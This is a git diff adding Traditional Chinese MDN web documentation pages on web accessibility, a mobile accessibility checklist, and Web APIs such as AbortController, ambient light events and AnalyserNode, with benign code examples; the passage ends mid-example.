+<p><span class="seoSummary">網路開發中的無障礙網頁，意味著盡可能令所有人都能使用網站，就算是在某些感官方面受限的人也不例外。本頁面會提供一些關於無障礙網頁的資訊。</span></p>
+
+<p>「理想的無障礙環境就是在各方面都營造一個無障礙的環境。在有形方面，所應該考量事情包括，生活上、行動上、教育上所可能遭受到的障礙，並提供其足以克服這些環境的需求，此等需求包括個體本身的配備，如點字機……以及周圍環境中的裝設，如扶手、導盲磚……」 <a class="external" href="https://zh.wikipedia.org/wiki/%E7%84%A1%E9%9A%9C%E7%A4%99%E7%92%B0%E5%A2%83">中文維基百科的「無障礙環境」、「理想無障礙環境」章節</a></p>
+
+<p>「<strong>從根本上，網路是為了在所有人面前都能運行而設計的</strong>，無論他們使用的軟硬體、語言文化、地理位置、抑或身心功能如何。當聽覺、運動、視力或認知能力障礙的人，都能訪問網路的時候，這個目標才算達成。」<a href="http://www.w3.org/standards/webdesign/accessibility" title="http://www.w3.org/standards/webdesign/accessibility">W3C - Accessibility</a></p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 class="Key_accessibility_tutorials" id="Key_accessibility_tutorials" name="Key_accessibility_tutorials">重要概念</h2>
+
+<p>MDN <a href="/zh-TW/docs/Learn/Accessibility">Accessibility Learning Area</a> 涵蓋了最新的無障礙網頁教學所需：</p>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Learn/Accessibility/What_is_accessibility">何謂無障礙網頁？</a></dt>
+ <dd>這篇文章針對何謂無障礙網頁，起了一個好開頭。這模塊包含了要考慮哪些族群以及理由、不同族群會用什麼工具和 Web 互動、還有怎麼把無障礙網頁導入 Web 開發工作流程。</dd>
+ <dt><a href="/zh-TW/docs/Learn/Accessibility/HTML">HTML：無障礙網頁的好開始</a></dt>
+ <dd>只要確保在任何時候，正確的 HTML 元素都用於正確的目的，就能消除各種網頁的障礙。這篇文章詳述 HTML 如何確保網頁無障礙。</dd>
+ <dt><a href="/zh-TW/docs/Learn/Accessibility/CSS_and_JavaScript">充分實踐 CSS 與 JavaScript 的無障礙</a></dt>
+ <dd>如果 CSS 與 JavaScript 使用得當，將可以為無障礙網頁提供助力……反過來的話，就會嚴重影響無障礙體驗。這篇文章詳述如何在內容複雜的情況下，確保能充分實踐 CSS 與 JavaScript 的無障礙。</dd>
+ <dt><a href="/zh-TW/docs/Learn/Accessibility/WAI-ARIA_basics">WAI-ARIA 基礎</a></dt>
+ <dd>從之前的文章來看，有時製作要涉及到非語意的 HTML 還有動態 JavaScript 更新技術……等，會令複雜的 UI 控制變得很困難。WAI-ARIA 正是為了解決此一問題而生。它對瀏覽器和輔助技術添加進一步的語意，讓用戶能知道發生了什麼事。我們將介紹如何在基本層面使用此技術，以提昇無障礙。</dd>
+ <dt><a href="/zh-TW/docs/Learn/Accessibility/Multimedia">無障礙多媒體</a></dt>
+ <dd>會導致無障礙網頁出問題的另一個根源是多媒體：影片、聲音、圖片等內容，需要有合適的文字替代，以便輔助技術和它的用戶能夠理解。我們將在這篇文章中闡明作法。</dd>
+ <dt><a href="/zh-TW/docs/Learn/Accessibility/Mobile">行動無障礙網頁</a></dt>
+ <dd>隨著行動設備訪問漸受歡迎、還有像是 iOS 與 Android 這般熱門平台，已經具備完善的輔助工具，考慮到如何在這些平台上實踐無障礙網頁，就變得十分重要。這篇文章將討論行動裝置特有的無障礙網頁相關議題。</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Other_documentation" id="Other_documentation" name="Other_documentation">其他文件</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/Accessibility/Understanding_WCAG">Understanding the Web Content Accessibility Guidelines</a></dt>
+ <dd>
+ <p>This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 (WCAG 2.0 or just WCAG, for the purposes of this writing).</p>
+ </dd>
+ <dt><a href="/zh-TW/Accessibility/Keyboard-navigable_JavaScript_widgets" title="en/Accessibility/Keyboard-navigable JavaScript widgets">Keyboard-navigable JavaScript widgets</a></dt>
+ <dd>Until now, web developers who want to make their styled &lt;div&gt; and &lt;span&gt; based widgets have lacked the proper techniques. <strong>Keyboard accessibility</strong> is part of the minimum accessibility requirements which a developer should be aware of.</dd>
+ <dt><a href="/zh-TW/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a></dt>
+ <dd>A collection of articles to learn how to use ARIA to make your HTML documents more accessible.</dd>
+ <dt><a href="/zh-TW/docs/Accessibility/AT_Development" title="AT Development">Assistive technology (AT) development</a></dt>
+ <dd>A collection of articles intended for AT developers</dd>
+ <dt><a href="/zh-TW/docs/Web/Accessibility/Mobile_accessibility_checklist">Mobile accessibility checklist</a></dt>
+ <dd>This document provides a concise checklist of accessibility requirements for mobile app developers.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/zh-TW/docs/tag/Accessibility" title="/en-US/docs/tag/Accessibility">所有與無障礙網頁相關的文章……</a></span></p>
+</div>
+</div>
diff --git a/files/zh-tw/web/accessibility/mobile_accessibility_checklist/index.html b/files/zh-tw/web/accessibility/mobile_accessibility_checklist/index.html
new file mode 100644
index 0000000000..b05da206bc
--- /dev/null
+++ b/files/zh-tw/web/accessibility/mobile_accessibility_checklist/index.html
@@ -0,0 +1,94 @@
+---
+title: 行動無障礙檢核清單
+slug: Web/Accessibility/Mobile_accessibility_checklist
+translation_of: Web/Accessibility/Mobile_accessibility_checklist
+---
+<div class="summary">
+<p><span class="seoSummary">本文提供行動應用程式開發者一個簡潔的無障礙必備要件檢核清單，本文將隨著更多模型產生而不斷地演進。</span></p>
+</div>
+
+<h2 id="顏色">顏色</h2>
+
+<ul>
+ <li>顏色對比<strong>必須</strong>符合<a href="http://www.w3.org/TR/WCAG/">WCAG 2.0</a> AA 等級要求:
+
+  <ul>
+   <li>一般文字對比值為4.5:1(小於18點字或14點粗體)</li>
+   <li>大文字對比值為 3:1(大於18點字或14點粗體)</li>
+  </ul>
+ </li>
+ <li>透過顏色傳遞資訊 <strong>必須</strong> 能藉由其他方式獲得資訊 (底線文字表示連結等)</li>
+</ul>
+
+<div class="note">
+<p><strong>注意</strong>: Jon Snook已撰寫實用的 <a href="http://snook.ca/technical/colour_contrast/colour.html">Colour Contrast Checker</a> 能用於檢查背景與前景顏色的對比。同樣地，<a href="http://contrast-finder.tanaguru.com/">Tanaguru Contrast-Finder</a> 也提供類似功能，而且建議相似且更好的對比顏色提供你考量使用。</p>
+</div>
+
+<h2 id="可視性">可視性</h2>
+
+<ul>
+ <li>內容隱藏技術如完全不透明、Z型態索引順序與螢幕外的配置<strong>必須不能</strong>單獨用於處理可視性。</li>
+ <li>目前可視螢幕之外的所有事物<strong>必須</strong>真正地不可見(特別適用於具有多個卡片的單一頁面應用程式)：
+  <ul>
+   <li><strong>使用</strong> <code>hidden</code> 屬性或 <code>visibility</code> 或 <code>display</code> 樣式屬性。</li>
+   <li>除非絕對無法避免，否則<strong>不應</strong>使用<code>aria-hidden</code> 屬性。</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="焦點">焦點</h2>
+
+<ul>
+ <li>所有可觸發的元素<strong>必須</strong>可獲得焦點：
+
+  <ul>
+   <li>標準的控制措施如連結、按鈕與表單輸入框預設為可獲得焦點。</li>
+   <li>非標準的控制措施<strong>必須</strong>賦予它們合適的<a href="http://www.w3.org/TR/wai-aria/roles">ARIA Role</a> ，如按鈕、連結或核取框。</li>
+  </ul>
+ </li>
+ <li>焦點應該以邏輯的順序與一致的方式處理。</li>
+</ul>
+
+<h2 id="文字相等意義">文字相等意義</h2>
+
+<ul>
+ <li>在應用程式之中，為每一個非嚴格呈現的非文字元素提供文字相等意義。
+  <ul>
+   <li>在適當情況下使用<em>alt與</em><em>title</em>(使用指引請參見Steve Faulkner關於<a href="http://blog.paciellogroup.com/2013/01/using-the-html-title-attribute-updated/">Using the HTML title attribute</a>的文章)。</li>
+   <li>如果上述屬性不適用，則使用合適的<a href="http://www.w3.org/WAI/PF/aria/states_and_properties#global_states_header">ARIA屬性</a>如<code>aria-label</code>、<code>aria-labelledby</code>或 <code>aria-describedby。</code></li>
+  </ul>
+ </li>
+ <li>文字圖片 <strong>必須</strong>避免使用。</li>
+ <li>所有表單控制措施<strong>必須</strong>有標籤({{ htmlelement("label") }} 元素) ，以利於螢幕報讀器使用者使用。</li>
+</ul>
+
+<h2 id="處理狀態">處理狀態</h2>
+
+<ul>
+ <li>標準控制措施如選項按鈕與核取框可被作業系統處理。然而，其他客製的控制措施狀態改變必須透過<a href="http://www.w3.org/TR/wai-aria/states_and_properties#attrs_widgets_header">ARIA狀態</a>如<code> aria-checked</code>、<code>aria-disabled</code>、<code>ria-selected</code>、<code>aria-expanded</code>與<code>aria-pressed</code>來提供。</li>
+</ul>
+
+<h2 id="一般準則">一般準則</h2>
+
+<ul>
+ <li>應用程式的名稱<strong>必須</strong>提供。</li>
+ <li>標題<strong>必須</strong>不能破壞層級結構。
+  <pre class="brush: html">&lt;h1&gt;Top level heading&lt;/h1&gt;
+  &lt;h2&gt;Secondary heading&lt;/h2&gt;
+  &lt;h2&gt;Another secondary heading&lt;/h2&gt;
+    &lt;h3&gt;Low level heading&lt;/h3&gt;</pre>
+ </li>
+ <li><a href="http://www.w3.org/TR/wai-aria/roles#landmark_roles_header">ARIA地標角色</a><strong>應該</strong>用於描述應用程式或文件結構，例如<code>banner</code>、<code>complementary</code>、<code>contentinfo</code>、 <code>main</code>、 <code>navigation</code>、<code>search</code>。</li>
+ <li>觸控事件處理器<strong>必須</strong>只有在<code>touchend</code>事件上觸發。</li>
+ <li>觸控目標<strong>必須</strong>提供使用者足夠大的互動操作(有用的觸控目標大小指引請參見<a href="http://www.bbc.co.uk/guidelines/futuremedia/accessibility/mobile/design/touch-target-size">BBC Mobile Accessibility Guidelines</a>)。</li>
+</ul>
+
+<div class="note">
+<p><strong>注意</strong>: <a href="http://www.tanaguru.com/">Tanaguru自動無障礙測試服務</a>提供有用的方法去發現一些發生於網頁或安裝的網頁應用程式(如Firefox OS)無障礙錯誤。你可在<a href="http://tanaguru.org/">tanaguru.org</a>找到更多關於Tanaguru技術開發，以及貢獻該專案的資訊。</p>
+</div>
+
+<div class="note">
+<p><strong>注意</strong>: <a href="http://yzen.github.io/firefoxos/2014/04/30/mobile-accessibility-checklist.html">本文件原始版本</a>由<a href="http://yzen.github.io/">Yura Zenevich</a>撰寫。</p>
+</div>
+
+<p> </p>
diff --git a/files/zh-tw/web/api/abortcontroller/index.html b/files/zh-tw/web/api/abortcontroller/index.html
new file mode 100644
index 0000000000..8caa750806
--- /dev/null
+++ b/files/zh-tw/web/api/abortcontroller/index.html
@@ -0,0 +1,97 @@
+---
+title: AbortController
+slug: Web/API/AbortController
+translation_of: Web/API/AbortController
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p><strong><code>AbortController</code></strong> 介面代表一個控制器物件，讓你可以在需要時中斷一個或多個 DOM 請求。</p>
+
+<p>你可以使用 {{domxref("AbortController.AbortController()")}} 建立一個新的 <code>AbortController</code> 物件。與 DOM 請求溝通時則是使用 {{domxref("AbortSignal")}} 物件。</p>
+
+<h2 id="建構子">建構子</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.AbortController()")}}</dt>
+ <dd>建立一個新的 <code>AbortController</code> 物件實體。</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.signal")}} {{readonlyInline}}</dt>
+ <dd>回傳一個 {{domxref("AbortSignal")}} 物件實體，可以用來中斷一個 DOM 請求、或是與其溝通。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{domxref("AbortController.abort()")}}</dt>
+ <dd>在一個 DOM 請求完成前中斷他。這可以用來中斷 <a href="/zh-TW/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch 請求</a>、對任何 Response {{domxref("Body")}} 的讀取、或是資料流。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<p>在下面的程式碼片段中，我們要用 <a href="/zh-TW/docs/Web/API/Fetch_API">Fetch API</a> 來下載一部影片。</p>
+
+<p>我們首先用 {{domxref("AbortController.AbortController","AbortController()")}} 建立一個控制器，然後透過 {{domxref("AbortController.signal")}} 屬性取得他的 {{domxref("AbortSignal")}} 物件。</p>
+
+<p>在初始化 <a href="/en-TW/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch 請求</a> 的時候，我們把 <code>AbortSignal</code> 作為選項傳入該請求的選項物件中（參考下方的 <code>{signal}</code>）。這樣會把剛才的中斷訊號與控制器跟 fetch 請求關聯起來，讓我們可以透過呼叫 {{domxref("AbortController.abort()")}} 來中斷該請求。請參考下方範例中第二個事件處理器。</p>
+
+<pre class="brush: js">var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('下載已中斷');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = '下載錯誤: ' + e.message;
+  })
+}</pre>
+
+<div class="note">
+<p><strong>注意</strong>: 當 <code>abort()</code> 被呼叫的時候，<code>fetch()</code> 回傳的 Promise 會被以 <code>AbortError</code> 拒絕。</p>
+</div>
+
+<p>在 GitHub 有個完整的範例可供參考 — 請參見 <a href="https://github.com/mdn/dom-examples/tree/master/abort-api">abort-api</a>（<a href="https://mdn.github.io/dom-examples/abort-api/">或是也可以實際體驗看看</a>）。</p>
+
+<h2 id="規格">規格</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>初始定義</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("api.AbortController")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/API/Fetch_API">Fetch API</a></li>
+ <li><a href="https://developers.google.com/web/updates/2017/09/abortable-fetch">Abortable Fetch</a> by Jake Archibald</li>
+</ul>
diff --git a/files/zh-tw/web/api/ambient_light_events/index.html b/files/zh-tw/web/api/ambient_light_events/index.html
new file mode 100644
index 0000000000..06eadc5621
--- /dev/null
+++ b/files/zh-tw/web/api/ambient_light_events/index.html
@@ -0,0 +1,96 @@
+---
+title: 使用光線事件
+slug: Web/API/Ambient_Light_Events
+translation_of: Web/API/Ambient_Light_Events
+---
+<p>{{ SeeCompatTable }}</p>
+<h2 id="摘要">摘要</h2>
+<p>環境光源 (Ambient light) 事件，可告知 Apps 或網頁目前光線強度的變化，以利做出反應，例如改變使用者介面 (User Interface，UI) 的顏色對比，或在拍照時改變曝光程度</p>
+<h2 id="光源事件">光源事件</h2>
+<p>只要裝置的光線感測器偵測到光線強度變化，隨即通知瀏覽器。一旦瀏覽器取得該通知，就會發出 <a href="https://developer.mozilla.org/en-US/docs/DOM/DeviceLightEvent" title="/en-US/docs/DOM/DeviceLightEvent"><code>DeviceLightEvent</code></a> 事件而提供光線強度的確實資訊。</p>
+<p>只要使用 <a href="https://developer.mozilla.org/en-US/docs/DOM/EventTarget.addEventListener" title="/en-US/docs/DOM/EventTarget.addEventListener"><code>addEventListener</code></a> 函式 (使用 {{event("devicelight")}} 事件名稱)，或將事件處理器 (Event Handler) 附加至 <a href="https://developer.mozilla.org/en-US/docs/DOM/window.ondevicelight" title="/en-US/docs/DOM/window.ondevicelight"><code>window.ondevicelight</code></a> 屬性，均可於 <code>window</code> 物件擷取到此事件。</p>
+<p>一旦擷取完畢，則事件物件將透過 <a href="https://developer.mozilla.org/en-US/docs/DOM/DeviceLightEvent.value" title="/en-US/docs/DOM/DeviceLightEvent.value"><code>DeviceLightEvent.value</code></a> 屬性，存取光線強度值 (以 <a href="http://en.wikipedia.org/wiki/Lux" title="http://en.wikipedia.org/wiki/Lux">Lux</a> 為單位)。</p>
+<h2 id="範例">範例</h2>
+<pre class="brush: js">window.addEventListener('devicelight', function(event) {
+  var html = document.getElementsByTagName('html')[0];
+
+  if (event.value &lt; 50) {
+    html.classList.add('darklight');
+    html.classList.remove('brightlight');
+  } else {
+    html.classList.add('brightlight');
+    html.classList.remove('darklight');
+  }
+});</pre>
+<h2 id="Specifications" name="Specifications">規格</h2>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}</td>
+   <td>{{ Spec2('AmbientLight') }}</td>
+   <td>Initial specification</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>{{domxref("DeviceLightEvent")}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatGeckoDesktop("22.0")}} (Mac OS X only)</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Android</th>
+    <th>Chrome for Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>{{domxref("DeviceLightEvent")}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatGeckoMobile("15.0")}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+    <td>{{CompatNo()}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h3 id="Gecko_說明">Gecko 說明</h3>
+<p><code>已建構 </code>{{event("devicelight")}} 事件，且在 Firefox Mobile for Android (15.0) 與 Firefox OS (B2G) 中均預設為開啟。從 Gecko 22.0 (Firefox 22.0 / Thunderbird 22.0 / SeaMonkey 2.19) 開始，亦提供 Mac OS X 的桌機支援。目前對 Windows 7 的支援功能仍開發中 (請見 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=754199">bug 754199</a>)。</p>
+<h2 id="另請參閱">另請參閱</h2>
+<ul>
+ <li>{{domxref("DeviceLightEvent")}}</li>
+ <li>{{event("devicelight")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/analysernode/getbytefrequencydata/index.html b/files/zh-tw/web/api/analysernode/getbytefrequencydata/index.html
new file mode 100644
index 0000000000..d6b226dd8f
--- /dev/null
+++ b/files/zh-tw/web/api/analysernode/getbytefrequencydata/index.html
@@ -0,0 +1,149 @@
+---
+title: AnalyserNode.getByteFrequencyData()
+slug: Web/API/AnalyserNode/getByteFrequencyData
+translation_of: Web/API/AnalyserNode/getByteFrequencyData
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>{{ domxref("AnalyserNode") }} 介面的 <strong><code>getByteFrequencyData()</code></strong> 方法會將當前的頻率資料複製到 {{domxref("Uint8Array")}} （無號 byte 陣列）。</p>
+
+<p>如果陣列的元素數目比 {{domxref("AnalyserNode.frequencyBinCount")}} 少的話，多餘的元素會被 drop 掉。如果比需要的少的話，多餘的元素會被忽略。</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+var analyser = audioCtx.createAnalyser();
+var dataArray = new Uint8Array(analyser.frequencyBinCount); // Uint8Array 應該要和 frequencyBinCount 等長
+analyser.getByteFrequencyData(dataArray); // 將 getByteFrequencyData() 回傳的資料放進 Uint8Array
+</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>{{domxref("Uint8Array")}}。</p>
+
+<h2 id="範例">範例</h2>
+
+<p>下面的範例顯示出 {{domxref("AudioContext")}} 用於建立一個 <code>AnalyserNode</code> 的基本用法，然後 {{domxref("window.requestAnimationFrame()", "requestAnimationFrame")}} 以及 {{htmlelement("canvas")}} 用來重複收集當前聲音輸入的頻率資料並在 "winamp bargraph style" 畫出輸出。若要知道更完整的範例或是資訊，請參考 <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> demo （看 <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js 第 128–205 行</a> 會有相關的程式碼）。</p>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+  ...
+
+analyser.fftSize = 256;
+var bufferLength = analyser.frequencyBinCount;
+console.log(bufferLength);
+var dataArray = new Uint8Array(bufferLength);
+
+canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+function draw() {
+  drawVisual = requestAnimationFrame(draw);
+
+  analyser.getByteFrequencyData(dataArray);
+
+  canvasCtx.fillStyle = 'rgb(0, 0, 0)';
+  canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+  var barWidth = (WIDTH / bufferLength) * 2.5;
+  var barHeight;
+  var x = 0;
+
+  for(var i = 0; i &lt; bufferLength; i++) {
+    barHeight = dataArray[i];
+
+    canvasCtx.fillStyle = 'rgb(' + (barHeight+100) + ',50,50)';
+    canvasCtx.fillRect(x,HEIGHT-barHeight/2,barWidth,barHeight/2);
+
+    x += barWidth + 1;
+  }
+};
+
+draw();</pre>
+
+<h2 id="參數">參數</h2>
+
+<dl>
+ <dt>陣列</dt>
+ <dd>頻率定義域會被複製進去的 {{domxref("Uint8Array")}} 。</dd>
+</dl>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table" style="height: 105px; width: 593px;">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#widl-AnalyserNode-getByteFrequencyData-void-Uint8Array-array', 'getByteFrequencyData()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器支援度">瀏覽器支援度</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參看">參看</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">使用 Web Audio API</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/analysernode/index.html b/files/zh-tw/web/api/analysernode/index.html
new file mode 100644
index 0000000000..875993cea9
--- /dev/null
+++ b/files/zh-tw/web/api/analysernode/index.html
@@ -0,0 +1,226 @@
+---
+title: AnalyserNode
+slug: Web/API/AnalyserNode
+tags:
+  - API
+  - AnalyserNode
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web Audio API
+translation_of: Web/API/AnalyserNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p>The <strong><code>AnalyserNode</code></strong><strong> </strong>interface represents a node able to provide real-time frequency and time-domain analysis information. It is an {{domxref("AudioNode")}} that passes the audio stream unchanged from the input to the output, but allows you to take the generated data, process it, and create audio visualizations.</p>
+
+<p>An <code>AnalyzerNode</code> has exactly one input and one output. The node works even if the output is not connected.</p>
+
+<p><img alt="Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT." src="https://mdn.mozillademos.org/files/9707/WebAudioFFT.png" style="height: 174px; width: 661px;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Number of inputs</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Number of outputs</th>
+   <td><code>1</code> (but may be left unconnected)</td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count mode</th>
+   <td><code>"explicit"</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel interpretation</th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Inheritance">Inheritance</h2>
+
+<p>This interface inherits from the following parent interfaces:</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.fftSize")}}</dt>
+ <dd>Is an unsigned long value representing the size of the FFT (<a href="http://en.wikipedia.org/wiki/Fast_Fourier_transform" title="/en-US/docs/">Fast Fourier Transform</a>) to be used to determine the frequency domain.</dd>
+ <dt>{{domxref("AnalyserNode.frequencyBinCount")}} {{readonlyInline}}</dt>
+ <dd>Is an unsigned long value half that of the FFT size. This generally equates to the number of data values you will have to play with for the visualization.</dd>
+ <dt>{{domxref("AnalyserNode.minDecibels")}}</dt>
+ <dd>Is a double value representing the minimum power value in the scaling range for the FFT analysis data, for conversion to unsigned byte values — basically, this specifies the minimum value for the range of results when using <code>getByteFrequencyData()</code>.</dd>
+ <dt>{{domxref("AnalyserNode.maxDecibels")}}</dt>
+ <dd>Is a double value representing the maximum power value in the scaling range for the FFT analysis data, for conversion to unsigned byte values — basically, this specifies the maximum value for the range of results when using <code>getByteFrequencyData()</code>.</dd>
+ <dt>{{domxref("AnalyserNode.smoothingTimeConstant")}}</dt>
+ <dd>Is a double value representing the averaging constant with the last analysis frame — basically, it makes the transition between values over time smoother.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Float32Array")}} array passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getByteFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Float32Array")}} array passed into it.</dd>
+ <dt>{{domxref("AnalyserNode.getByteTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<div class="note">
+<p><strong>Note</strong>: See the guide <a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a> for more information on creating audio visualizations.</p>
+</div>
+
+<h3 id="Basic_usage">Basic usage</h3>
+
+<p>The following example shows basic usage of an {{domxref("AudioContext")}} to create an <code>AnalyserNode</code>, then {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> demo (see <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a> for relevant code).</p>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+  ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// draw an oscilloscope of the current audio source
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
